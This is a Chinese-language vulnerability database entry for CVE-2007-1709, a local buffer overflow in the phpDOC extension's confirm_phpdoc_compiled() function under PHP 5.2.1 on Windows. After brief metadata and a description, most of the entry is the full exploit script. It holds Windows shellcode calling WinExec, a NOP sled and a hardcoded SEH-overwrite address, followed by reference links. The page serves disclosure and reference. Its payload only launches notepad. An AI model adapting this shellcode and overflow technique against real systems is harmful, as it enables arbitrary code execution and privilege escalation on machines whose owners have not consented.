PHPDoc confirm_phpdoc_compiled本地缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112542 漏洞类型 缓冲区溢出
发布时间 2007-03-25 更新时间 2007-03-28
CVE编号 CVE-2007-1709 CNNVD-ID CNNVD-200703-632
漏洞平台 Windows CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/3576
https://cxsecurity.com/issue/WLB-2007040020
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200703-632
|漏洞详情
phpDocumentor(有时也被称为phpdoc或phpdocu)是PHP语言的标准自动化文档工具。phpDocumentor的confirm_phpdoc_compiled()函数实现上存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞执行任意指令,导致权限提升。
|漏洞EXP
<?php
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
//WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded("phpDOC")){
die("you need the phpDOC extension loaded.");
}


$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

//eip & ecx set to the same value ...
$eip="\x47\x30\xE9\x77";//0x77E93047      pop ECX - pop - retbis kernel32.dll
//and further (junk...) inc edi, xor cl ch, *ja short* 
//should work on sp4 if you find an usable address
$____suntzu=str_repeat("\x90",1393 - strlen($____scode)).$____scode.str_repeat("\x90",30).$eip.str_repeat("\x90",12);
confirm_phpdoc_compiled($____suntzu);

?>

# milw0rm.com [2007-03-25]
|参考资料

来源:XF
名称:phpdoc-confirmcompiled-bo(33236)
链接:http://xforce.iss.net/xforce/xfdb/33236
来源:BID
名称:23124
链接:http://www.securityfocus.com/bid/23124
来源:BUGTRAQ
名称:20070325PHP5.2.1withPECLphpDOClocalbufferoverflow
链接:http://www.securityfocus.com/archive/1/archive/1/463843/100/0/threaded
来源:MILW0RM
名称:3576
链接:http://www.milw0rm.com/exploits/3576
来源:SREASON
名称:2512
链接:http://securityreason.com/securityalert/2512
来源:MISC
链接:http://retrogod.altervista.org/php521_phpdoc_bof.html